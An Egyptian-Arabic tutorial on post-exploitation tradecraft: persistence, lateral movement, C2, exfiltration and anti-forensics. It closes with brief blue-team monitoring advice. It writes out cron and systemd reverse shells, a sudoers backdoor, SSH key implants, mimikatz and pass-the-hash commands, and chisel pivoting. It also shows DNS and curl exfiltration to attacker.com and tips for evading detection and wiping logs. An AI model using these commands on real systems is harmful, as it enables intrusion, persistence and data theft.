Post-Exploitation — الشغل الحقيقي بعد ما تدخل
Persistence و Pivoting و C2 و Exfiltration
بعد الاختراق: إيه دلوقتي؟
إنت دخلت البيت. بس المهاجم المحترف ما بياخدش اللي قدامه ويجري. الأول: بيعمل نسخة من المفتاح (persistence). تاني: بيطفي الكاميرات (defense evasion). تالت: بيتفرّج على باقي الأوض (lateral movement). رابع: بياخد اللي عايزه بهدوء (exfiltration).
في حادثة SolarWinds (2020)، APT29 الروسية فضلت جوه الشبكات لمدة 9 شهور. مش 9 ساعات. 9 شهور. عملت persistence بـ Golden SAML، lateral movement لـ 100 منظمة (منهم وزارة الخزانة الأمريكية)، و exfil ساكت بـ DNS tunneling. الـ initial access كان سهل. الـ post-exploitation هو اللي خلاهم أسطورة.
اوعى تخرج بعد أول shell. ده مش الفيلم.
اوعى تفتح 5 reverse shells من نفس IP.
اوعى تنضّف الـ logs كلها — الفراغ أوضح من السطر الزائد.
- يفتح 5 reverse shells من نفس الـ IP. الـ network monitoring بيشوف الـ pattern في 30 ثانية.
- يحط persistence في cron بـ comment اسمه "backdoor". الـ blue team بيلاقيها في أول grep.
- يعمل dump للـ database كاملة دفعة واحدة. spike في الـ outbound traffic = تنبيه فوري.
- ينسى ينظف الـ logs، أو ينظفها كلها (الفراغ الكامل أوضح من السطر الزائد).
Persistence — البقاء في النظام
على Linux
# Cron
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/A/443 0>&1'" >> /etc/crontab
# systemd
cat > /etc/systemd/system/upd.service <<EOF
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/A/443 0>&1'
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable --now upd
# sudoers backdoor
echo 'attacker ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers.d/99-upd
# SSH
echo "ssh-rsa AAAA... attacker" >> /root/.ssh/authorized_keysعلى Windows
- Scheduled Task + Run keys في الـ Registry.
- WMI Event Subscription (صعب يتلقي).
- DLL Hijacking + COM Hijacking.
- على AD: Golden Ticket / Silver Ticket / DSRM password.
Lateral Movement — التحرك الجانبي
nxc smb 10.10.0.0/24
mimikatz # sekurlsa::logonpasswords
crackmapexec smb 10.0.0.0/24 -u admin -H NTLM_HASH
# Pass-the-Hash
nxc smb 10.0.0.5 -u admin -H 31d6cfe0d16ae931...
# Pass-the-Ticket
Rubeus.exe asktgt /user:admin /rc4:NTLM /ptt
# Pivoting
chisel server -p 8080 --reverse
chisel client A:8080 R:1080:socks
proxychains nmap -sT 10.10.20.0/24تقنيات تنفيذ عن بُعد
- PsExec / smbexec / wmiexec / atexec (Impacket).
- WinRM (evil-winrm).
- DCOM / RDP / SCCM.
Command & Control (C2)
القناة بين المهاجم والجهاز المخترق. أشهر الأدوات:
- Domain fronting عبر CDN.
- DNS tunneling (dnscat2, iodine).
- قنوات على Slack / Discord / Telegram APIs.
- Malleable C2 profiles عشان الترافيك يبان زي تطبيقات شرعية.
Exfiltration — تهريب البيانات
# DNS
for chunk in $(split -b 200 secret.txt); do dig $(base64 $chunk).attacker.com; done
# HTTPS
curl -s -X POST https://attacker.com/u -d @secret.tar.gz
# عبر cloud شرعي
rclone copy secret.tar.gz mega:/backup/Anti-Forensics (للوعي الحمايةي فقط)
- مسح ~/.bash_history و /var/log/wtmp.
- timestomp — التلاعب بـ timestamps الملفات.
- إقفال auditd / Sysmon / Defender.
- تنضيف Event Logs في Windows.
الخلاصة الناشفة
اكتبها على ظهر إيدك: الاختراق الحقيقي مش بيخلص بـ root. بيبدأ بـ root.
الـ junior ياخد screenshot ويطلع. الـ pro يقعد جوه شهور.
الـ APTs الكبيرة (APT29, APT41, Lazarus) قاعدين جوه الشبكات لسنين، بيمشوا ساكتين، بياخدوا اللي عايزينه على دفعات.
لو إنت blue team: مش الـ initial access هو اللي هيوقّعك. الـ persistence والـ lateral movement هما السكة الحقيقية. لو الـ EDR بتاعك بيشوف بس "exploit ran"، فإنت أعمى من ساعة الاختراق لحد ما الـ data تطلع.
راقب الـ SMB lateral، راقب الـ DNS الغريب، راقب الـ scheduled tasks الجديدة. ده الشغل الحقيقي.